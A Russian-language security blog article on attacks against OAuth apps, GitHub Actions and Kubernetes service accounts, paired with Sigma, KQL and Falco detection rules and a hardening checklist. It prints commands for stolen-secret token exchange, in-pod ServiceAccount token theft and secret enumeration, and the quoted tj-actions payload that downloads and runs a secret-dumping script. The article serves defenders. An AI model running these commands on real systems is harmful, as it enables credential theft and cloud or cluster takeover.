Когда речь заходит об identity-атаках, security-инженеры рефлекторно думают о фишинге и краже паролей сотрудников. А зря. Реальная поверхность атаки давно сместилась: по данным Obsidian Security, 68% SaaS-инцидентов связаны с non-human identities - OAuth-токенами, сервисными аккаунтами, API-ключами и CI/CD-секретами. IBM X-Force Threat Intelligence Index фиксирует: identity-based атаки - 30% всех компрометаций. А отчёт BI.ZONE за 2025 год добивает: 57% инцидентов с привилегированными учётками проходят через легитимные действующие credentials - технику Valid Accounts (T1078, Initial Access / Persistence / Privilege Escalation / Defense Evasion).
Как человек, который в рамках red team-кампаний лично угонял GitHub Actions OIDC-токены и эксплуатировал кривые OAuth client credentials в Azure AD, скажу прямо: атаки на сервисные аккаунты и токены - самый «тихий» и при этом разрушительный вектор. Ниже - практический разбор трёх TTP-цепочек (OAuth abuse, CI/CD hijacking, Kubernetes SA compromise) с готовыми правилами детектирования, которые можно внедрять сразу.
Non-Human Identities как главная цель атакующего
Non-Human Identities (NHI) - цифровые идентичности, которые аутентифицируют машины, приложения и автоматизированные процессы: OAuth-токены, API-ключи, сервисные аккаунты, сертификаты, workload identities и - всё чаще - AI-агенты. По разным оценкам, NHI превосходят человеческие идентичности в 25–50 раз (Obsidian Security) и до 92:1 (IBM). Каждый микросервис, каждая интеграция, каждый CI/CD-пайплайн плодит новые machine credentials, которые живут вне контуров классического IAM.
Почему традиционный IAM не работает для NHI
Управление идентификацией и доступом строится на допущениях, которые к машинным идентичностям просто неприменимы:
Допущение IAMДля человекаДля NHIЖизненный цикл привязан к HR-событиямДаНет - нет менеджера, нет увольненияMFA при аутентификацииДаНевозможн о - bearer-токен = доступПоведенческий baseline (рабочие часы, геолокация)ДаНет - работает 24/7 отовсюдуКвартальный access reviewПрименимФормален - никто не знает, что делает конкретный SAРотация credentialsЧерез парольную политикуЧасто отсутствует - токены живут годами
Именно этот governance gap делает NHI идеальной мишенью. OWASP выделяет отдельный NHI Top 10, где в тройке лидеров: improper offboarding (неотозванные токены после деактивации интеграций), secret leakage (утечка секретов в репозитории и логи) и overprivileged access - избыточные права, выданные «чтобы работало» (знакомо, да?).
OAuth client credential abuse - пошаговый разбор атаки
OAuth 2.0 Client Credentials Flow - механизм machine-to-machine аутентификации, при котором приложение получает access token напрямую от authorization server, используя client_id и client_secret. Никакого пользовательского согласия, никакого MFA - только секрет. Если атакующий получает эту пару, он получает все права, делегированные приложению. Вот так просто.
Как ломается Client Credentials Flow
TTP-цепочка в типичной red team-кампании:
- Разведка (T1552, Unsecured Credentials): находим client_id/client_secret в исходном коде, переменных окружения CI/CD, файлах конфигурации или через утечки (GitHub, .env-файлы, которые кто-то забыл добавить в .gitignore)
- Получение токена (T1528, Steal Application Access Token): обмениваем credentials на access token через стандартный OAuth endpoint
- Lateral movement (T1550.001, Use Alternate Authentication Material): используем полученный токен для доступа к API целевых сервисов - Graph API, Salesforce, внутренние микросервисы
- Persistence: client_secret сам по себе - долгоживущий credential (часто без срока истечения), позволяющий запрашивать новые access-токены в любой момент без дополнительной аутентификации
Получение токена через Azure AD (Entra ID) - дело одного curl'а:
Bash:
Код:
# Получение OAuth access token через Client Credentials Flow
# Предполагаем, что client_id и client_secret уже получены (утечка, secrets в репо)
curl
-X POST
"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
\
-d
"client_id={stolen_client_id}"
\
-d
"client_secret={stolen_client_secret}"
\
-d
"scope=https://graph.microsoft.com/.default"
\
-d
"grant_type=client_credentials"
Полученный JWT-токен даёт доступ к Microsoft Graph API с правами, назначенными приложению - часто это Mail.Read, Files.ReadWrite.All, Directory.Read.All. Лично я на одном проекте через такой токен вытянул переписку CEO за полгода - приложению когда-то дали Mail.Read «для интеграции с CRM», а потом забыли.
Для разведки OAuth-приложений в Azure AD использую ROADtools:
Bash:
Код:
# Установка и аутентификация ROADtools
pip
install
roadrecon
roadrecon auth -c
{
stolen_client_id
}
-p
{
stolen_client_secret
}
-t
{
tenant_id
}
# Сбор данных о всех приложениях, service principals и их permissions
roadrecon gather
# Анализ - поиск overprivileged apps
roadrecon gui
# В GUI ищем приложения с Application Permissions (не Delegated)
# и правами типа Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory
Реальные инциденты компрометации OAuth-токенов
Salesloft-Drift (август 2025). Атакующие скомпрометировали SaaS-платформу Salesloft и украли OAuth access-токены интеграции чат-бота Drift с Salesforce. Используя эти токены как trusted NHI между Drift и Salesforce, злоумышленники имперсонировали интеграцию и получили доступ к CRM-данным более чем 700 компаний. Десять дней они спокойно выгружали записи клиентов, включая хранящиеся в тикетах поддержки AWS-ключи и Snowflake-токены. Один OAuth-токен - каскадная компрометация через всю SaaS supply chain.
Microsoft Midnight Blizzard (январь 2024). APT29 эксплуатировала legacy test tenant account без MFA в инфраструктуре Microsoft. Забытый тестовый аккаунт - классический пример improper offboarding из OWASP NHI Top 10 - дал начальный доступ к внутренним системам. У Microsoft. Вдумайтесь.
Okta (октябрь 2023). Supply chain-компрометация через сервисный аккаунт, который должен был быть деактивирован за месяцы до инцидента. Последствия затронули Cloudflare: из 5000 ротированных credentials после инцидента один API-токен сервисного аккаунта остался активным, и через него атакующие зашли в Atlassian-инфраструктуру (Jira, Confluence, Bitbucket). Один из пяти тысяч - и этого хватило.
Практика поиска уязвимых OAuth-конфигураций
Для обнаружения кривых OAuth-приложений в периметре атаки я использую комбинацию инструментов:
Bash:
Код:
# Получение OAuth-токена через Client Credentials и парсинг JWT
# Вариант 1: через Invoke-RestMethod (универсальный, без внешних модулей)
$body
=
@
{
client_id
=
$clientId
client_secret
=
$secret
scope
=
"https://graph.microsoft.com/.default"
grant_type
=
"client_credentials"
}
$token
=
Invoke-RestMethod -Method Post `
-Uri
"https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
-Body
$body
# Парсинг JWT для просмотра claims и scope
$payload
=
$token
.access_token.Split
(
'.'
)
[
1
]
.Replace
(
'-'
,
'+'
)
.Replace
(
'_'
,
'/'
)
while
(
$payload
.Length %
4
)
{
$payload
+=
'='
}
[
System.Text.Encoding
]
::UTF8.GetString
(
[
Convert
]
::FromBase64String
(
$payload
))
|
ConvertFrom-Json
Bash:
Код:
# Semgrep - поиск захардкоженных client_secret в коде
semgrep --config
"p/secrets"
--config
"p/owasp-top-ten"
/path/to/repo
# truffleHog - глубокий поиск секретов в Git-истории
trufflehog
git
file:///path/to/repo --only-verified
Угон токенов CI/CD - GitHub Actions как вектор компрометации
CI/CD-пайплайны - концентраторы секретов. Они хранят cloud credentials, API-ключи, SSH-приватники и токены доступа к registry. Компрометация одного workflow-action может открыть доступ к тысячам репозиториев и их секретам. Одного.
Каскадная компрометация через GitHub Actions
В марте 2025 года произошла одна из самых масштабных supply chain-атак на CI/CD. По данным Mitiga и Kaspersky, цепочка выглядела так:
- Атакующие угнали персональный токен доступа (PAT) мейнтейнера проекта SpotBugs
- Через этот токен скомпрометировали
Код:
reviewdog/action-setup
(v1) - вредоносный коммит зафиксирован 11 марта 2025
- Через зависимость от reviewdog скомпрометировали
Код:
tj-actions/changed-files
- 14 марта 2025
- Вредоносный код в
выполнял base64-закодированный payload, который тупо дампил все секреты из памяти процесса и выводил их в логи сборки
Payload, обнаруженный в скомпрометированном action (по данным Mitiga):
Bash:
Код:
# Декодированный payload из tj-actions/changed-files
if
[
[
"$OSTYPE"
==
"linux-gnu"
]
]
;
then
B64_BLOB
=
$(curl -sSf https://gist.githubusercontent.com/.../memdump.py \
| sudo python3 \
| tr -d '\0' \
| grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' \
| sort -u | base64 -w 0 | base64 -w 0)
echo
$B64_BLOB
fi
Результат: секреты (AWS-ключи, Azure/GCP-токены, GitHub PAT, NPM-токены, ключи RSA) из публичных репозиториев оказывались прямо в логах workflow - доступных любому. По данным Kaspersky, изначальной целью была криптобиржа Coinbase, но после обнаружения атакующие переключились на массовую эксфильтрацию. Под угрозой оказались 23 000 репозиториев, у нескольких сотен секреты реально утекли в публичный доступ.
Параллельно фиксировались OAuth-фишинговые кампании на GitHub. По данным Mitiga, атакующие использовали поддельные OAuth-приложения под видом «Security Alert» и «GitHub Notification», затронув более 8000 репозиториев. Разработчики кликали на поддельное уведомление и отдавали атакующим полный доступ к своим репозиториям и секретам. Социальная инженерия в чистом виде, только жертва - не человек-пользователь, а OAuth-flow.
CVE-2024-37051: утечка GitHub-токенов через JetBrains IDE
Критическая уязвимость CVE-2024-37051 (CVSS 9.3, CRITICAL) позволяла раскрывать GitHub access token третьим сторонам при использовании GitHub-плагина в JetBrains IDE. Вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N: атака по сети, низкая сложность, не нужны привилегии, но нужно действие пользователя (UI:R), при этом scope меняется (S:C) - скомпрометированный токен открывает доступ к ресурсам за пределами IDE.
CWE-522 (Insufficiently Protected Credentials) - токены хранились и передавались без должной защиты. Затронуты все JetBrains IDE после версии 2023.1: IntelliJ IDEA, CLion, GoLand, PhpStorm, DataGrip, DataSpell, Aqua и MPS.
Показательный случай: разработчик просто работал в IDE, а его GitHub-токен утекал на сторонний сайт, давая атакующему полный доступ к приватным репозиториям. Никаких фишинговых писем, никаких вредоносных ссылок - просто открытая IDE.
Поиск утечек секретов в CI/CD-пайплайнах
Практический workflow для аудита CI/CD-секретов:
Bash:
Код:
# Шаг 1: Сканирование всех репозиториев организации на секреты
# truffleHog проверяет всю Git-историю, включая удалённые коммиты
trufflehog github --org
=
your-org --token
=
$GITHUB_PAT
--only-verified
# Шаг 2: Аудит GitHub Actions workflows на опасные паттерны
# Semgrep ищет использование скомпрометированных или небезопасных actions
semgrep --config
"p/github-actions"
/path/to/workflows/
# Шаг 3: Сканирование Docker-образов на embedded credentials
trivy image --scanners vuln,secret your-registry/your-image:latest
# Шаг 4: Проверка, что workflows не выводят секреты в логи
grep
-rn
"echo.*\$\{\{.*secrets\."
.github/workflows/
Подробнее о том, как выстроить безопасный CI/CD с
Zero Trust и защитить пайплайны от supply chain-атак, читайте в отдельном разборе.
Компрометация сервисных аккаунтов в Kubernetes
В Kubernetes каждый pod автоматически получает ServiceAccount-токен, монтируемый в
Код:
/var/run/secrets/kubernetes.io/serviceaccount/token
. Если атакующий получил RCE в контейнере, этот токен - первое, что он заберёт. В кластерах с кривым RBAC один украденный ServiceAccount-токен может стать ключом ко всему кластеру.
Lateral movement через украденный ServiceAccount-токен
TTP-цепочка эксплуатации Kubernetes ServiceAccount:
- Initial Access: RCE в контейнере через уязвимое приложение
- Credential Access (T1552.001, Unsecured Credentials: Credentials in Files): чтение SA-токена из файловой системы пода
- Discovery: перечисление доступных API-ресурсов с этим токеном
- Lateral Movement: доступ к другим namespace, секретам, ConfigMap
- Privilege Escalation: при наличии прав на создание pods/roles - эскалация до cluster-admin
Bash:
Код:
# Внутри скомпрометированного пода:
# Шаг 1: Извлечение ServiceAccount токена
SA_TOKEN
=
$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT
=
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE
=
$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API_SERVER
=
"https://kubernetes.default.svc"
# Шаг 2: Проверка, что можно делать с этим токеном
# auth can-i --list покажет все доступные permissions
curl
-s --cacert
$CA_CERT
\
-H
"Authorization: Bearer $SA_TOKEN"
\
"$API_SERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
\
-X POST -H
"Content-Type: application/json"
\
-d
'{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'
$NAMESPACE
'"}}'
# Шаг 3: Попытка чтения секретов в текущем namespace
curl
-s --cacert
$CA_CERT
\
-H
"Authorization: Bearer $SA_TOKEN"
\
"$API_SERVER/api/v1/namespaces/$NAMESPACE/secrets"
# Шаг 4: Попытка перечисления всех namespace (если есть cluster-level права)
curl
-s --cacert
$CA_CERT
\
-H
"Authorization: Bearer $SA_TOKEN"
\
"$API_SERVER/api/v1/namespaces"
В ходе red team-кампаний я неоднократно видел, как default ServiceAccount в namespace имел привилегии на чтение secrets из-за избыточного ClusterRoleBinding. Кто-то когда-то сделал
Код:
kubectl create clusterrolebinding
«чтобы заработало», и забыл. Один такой токен давал доступ к database credentials, cloud provider keys и TLS-сертификатам по всему кластеру.
Схожие техники LOTL в контейнерных средах позволяют атакующему действовать легитимными инструментами, не поднимая лишних алертов.
Для пост-эксплуатации в Kubernetes - kubectl с украденным токеном:
Bash:
Код:
# Использование украденного токена вне кластера
kubectl --server
=
https://
:6443
\
--token
=
"$SA_TOKEN"
\
--certificate-authority
=
ca.crt
\
get secrets --all-namespaces
# Поиск секретов с cloud credentials
kubectl --token
=
"$SA_TOKEN"
get secrets -A -o json
|
\
grep
-i
"aws\|azure\|gcp\|password\|token"
Детектирование компрометации токенов - готовые правила
Детектирование атак на сервисные аккаунты и токены требует покрытия трёх плоскостей: cloud IAM (OAuth abuse), CI/CD (GitHub/GitLab) и инфраструктура (Kubernetes). Ниже - конкретные правила. Копируйте и внедряйте.
Sigma-правила для OAuth и service account abuse
YAML:
Код:
# Sigma-правило: аномальный OAuth Client Credentials Grant
title
:
Suspicious OAuth Client Credentials Grant from Unusual IP
id
:
a1b2c3d4
-
e5f6
-
7890
-
abcd
-
ef1234567890
status
:
experimental
description
:
>
Детектирует получение OAuth-токена через Client Credentials Flow
с нехарактерного IP-адреса или user-agent
logsource
:
product
:
azure
service
:
signinlogs
detection
:
selection
:
properties.authenticationProtocol
:
'OAuth2'
properties.clientCredentialType
:
'ClientSecret'
filter_known
:
properties.ipAddress|cidr
:
-
'10.0.0.0/8'
# ваш корпоративный диапазон
-
'172.16.0.0/12'
# ваша CI/CD-инфраструктура
condition
:
selection and not filter_known
level
:
high
tags
:
-
attack.credential_access
-
attack.t1528
YAML:
Код:
# Threat hunting запрос: service account используется впервые за 90 дней
# ПРИМЕЧАНИЕ: это НЕ real-time Sigma-правило. Для детектирования dormant SA
# необходим двухэтапный подход:
# 1) Scheduled query формирует baseline - список SP без sign-in за 90 дней
# 2) Real-time правило матчит новые sign-in события против этого списка
#
# Ниже - KQL-запрос для threat hunting в Azure Log Analytics:
# let DormantSPs = AADServicePrincipalSignInLogs
# | where TimeGenerated between (ago(180d) .. ago(90d))
# | summarize LastSeen=max(TimeGenerated) by ServicePrincipalId
# | join kind=leftanti (
# AADServicePrincipalSignInLogs
# | where TimeGenerated > ago(90d)
# | distinct ServicePrincipalId
# ) on ServicePrincipalId;
# AADServicePrincipalSignInLogs
# | where TimeGenerated > ago(1d)
# | where ResultType == 0
# | join kind=inner DormantSPs on ServicePrincipalId
# | project TimeGenerated, ServicePrincipalName, IPAddress, ServicePrincipalId
KQL-запросы для Entra ID и Azure
SQL:
Код:
// KQL: Обнаружение OAuth-токенов, запрошенных из нетипичных локаций
AADServicePrincipalSignInLogs
|
where
TimeGenerated
>
ago
(
24
h
)
|
where
ResultType
=
=
0
// успешная аутентификация
|
where
ServicePrincipalCredentialKeyId
!=
""
|
summarize
TypicalIPs
=
make_set
(
IPAddress
)
by
ServicePrincipalName
|
join
kind
=
inner
(
AADServicePrincipalSignInLogs
|
where
TimeGenerated
>
ago
(
1
h
)
|
where
ResultType
=
=
0
|
project ServicePrincipalName
,
IPAddress
,
TimeGenerated
)
on
ServicePrincipalName
|
where
not
(
TypicalIPs has IPAddress
)
|
project TimeGenerated
,
ServicePrincipalName
,
IPAddress
,
TypicalIPs
SQL:
Код:
// KQL: Обнаружение нового OAuth-приложения с высокими привилегиями
AuditLogs
|
where
TimeGenerated
>
ago
(
7
d
)
|
where
OperationName
=
=
"Add app role assignment to service principal"
|
extend AppRoleValue
=
tostring
(
TargetResources
[
0
]
.
modifiedProperties
[
1
]
.
newValue
)
|
where
AppRoleValue has_any
(
"Directory.ReadWrite.All"
,
"Mail.ReadWrite"
,
"Files.ReadWrite.All"
,
"RoleManagement.ReadWrite.Directory"
)
|
project TimeGenerated
,
InitiatedBy
,
AppRoleValue
,
TargetResources
[
0
]
.
displayName
Falco-правила для Kubernetes
YAML:
Код:
# Falco: обнаружение чтения ServiceAccount токена внутри контейнера
-
rule
:
Read ServiceAccount Token from Container
desc
:
>
Процесс внутри контейнера читает ServiceAccount токен.
Легитимно для service mesh и cloud SDK, подозрительно для shell и curl.
condition
:
>
open_read and
container and
fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
not proc.name in (envoy, pilot-agent, coredns, kube-proxy) and
proc.name in (cat, curl, wget, python, python3, bash, sh, node)
output
:
>
ServiceAccount token read by suspicious process
(user=%user.name command=%proc.cmdline container=%container.name
pod=%k8s.pod.name namespace=%k8s.ns.name)
priority
:
WARNING
tags
:
[
credential_access
,
k8s
,
T1552.001
]
YAML:
Код:
# Falco: обнаружение обращений к Kubernetes API из пода через curl/wget
-
rule
:
Direct Kubernetes API Access from Pod
desc
:
>
Обнаружение прямых HTTP-запросов к Kubernetes API Server
из контейнера - типичный паттерн пост-эксплуатации с украденным SA-токеном
condition
:
>
container and
evt.type in (connect, sendto) and
fd.sip = "kubernetes.default.svc" and
proc.name in (curl, wget, python, python3)
output
:
>
Direct K8s API access from container
(command=%proc.cmdline pod=%k8s.pod.name namespace=%k8s.ns.name
destination=%fd.sip:%fd.sport)
priority
:
NOTICE
tags
:
[
discovery
,
lateral_movement
,
k8s
]
Threat hunting по GitHub Audit Logs
По методологии Mitiga, для threat hunting по GitHub нужно анализировать audit logs на следующие IoA (Indicators of Attack):
Bash:
Код:
# Проверка публичных репозиториев (наиболее уязвимых к утечкам)
# В GitHub Enterprise Audit Log ищем:
# action: repo.access - изменение видимости на public
# action: integration_installation.create - новая OAuth app installation
# action: org.update_member - изменение прав участника
# Пример запроса к GitHub Audit Log API
curl
-H
"Authorization: Bearer $GITHUB_TOKEN"
\
"https://api.github.com/orgs/{org}/audit-log?phrase=action:oauth_application.create+created:>2025-01-01"
\
|
jq
'.[] | {actor: .actor, action: .action, created_at: .created_at, data: .data}'
Ключевые события для мониторинга:
СобытиеОписаниеУровень рискаoauth_application.createСоздание нового OAuth-приложенияВысокийintegration_inst allation.createУстановка интеграции с широкими permissionsВысокийrepo.download_zipМасс овая загрузка репозиториевСреднийpersonal_acc ess_token.createСоздание PAT с широкими scopeСреднийworkflows.completed_workflow_ru nWorkflow использует скомпрометированный actionКритический
Практический чеклист: hardening Non-Human Identities
По итогам десятков red team-кампаний и параллельной работы на стороне blue team - пошаговый чеклист, закрывающий основные вектора атак на machine identities.
Делай раз - инвентаризация:- Проведите полную инвентаризацию всех NHI: OAuth-приложения, service accounts, API-ключи, CI/CD-токены, Kubernetes ServiceAccounts
- Определите владельца для каждой NHI (нет владельца = orphaned = немедленный риск)
- Документируйте expected behavior: с каких IP, в какое время, какие API вызывает каждая NHI
Делай два - минимизация привилегий и lifecycle:- Внедрите least privilege для всех NHI: OAuth-приложения получают только необходимые scopes, Kubernetes SA - только нужные RBAC-роли
- Настройте автоматическую ротацию credentials: short-lived токены вместо long-lived, workload identity federation вместо статических ключей
- Замените static ServiceAccount tokens на Bound Service Account Tokens (проецируемые, с ограниченным TTL)
- Отключите автомонтирование SA-токенов в подах, где они не нужны:
Код:
automountServiceAccountToken: false
Делай три - мониторинг и детектирование:- Разверните Sigma/KQL-правила из этой статьи для детектирования OAuth abuse
- Настройте Falco с правилами для Kubernetes credential access
- Включите GitHub audit log streaming в SIEM и настройте алерты на критические события
- Внедрите поведенческий baseline для каждой NHI и алертинг на отклонения: нетипичный IP, нехарактерный объём запросов, новые API-вызовы
Проблема NHI-безопасности не решается одним инструментом. Это инвентаризация, governance-процессы и behavioral detection вместе. Каждый забытый OAuth-токен или незаротированный service account - точка входа, через которую вашу инфраструктуру могут скомпрометировать так же тихо, как это произошло с Cloudflare, Microsoft и Okta. Отдельного внимания заслуживает
эскалация привилегий в AWS Organizations - облачные среды создают дополнительные векторы, которые часто остаются вне зоны видимости классических IAM-инструментов.
Вопрос на засыпку: вы знаете все machine credentials в своей инфраструктуре? И когда каждый из них использовался последний раз? Если нет - начните с
Код:
trufflehog github --org=your-org
. Результаты могут неприятно удивить.
_________________________________________________
Meta-Title: Атаки на сервисные аккаунты и токены: TTP и детект
Meta-Description: 68% инцидентов связаны с machine identities. Разбираем OAuth abuse, угон CI/CD-токенов, SA в Kubernetes — с Sigma и Falco-правилами для детекта.
Теги: атаки на сервисные аккаунты и токены, OAuth client credential abuse, угон токенов CI/CD, non-human identities, компрометация сервисных аккаунтов, CI/CD pipeline security, детектирование компрометации токенов, Kubernetes service account security
Древовидный вид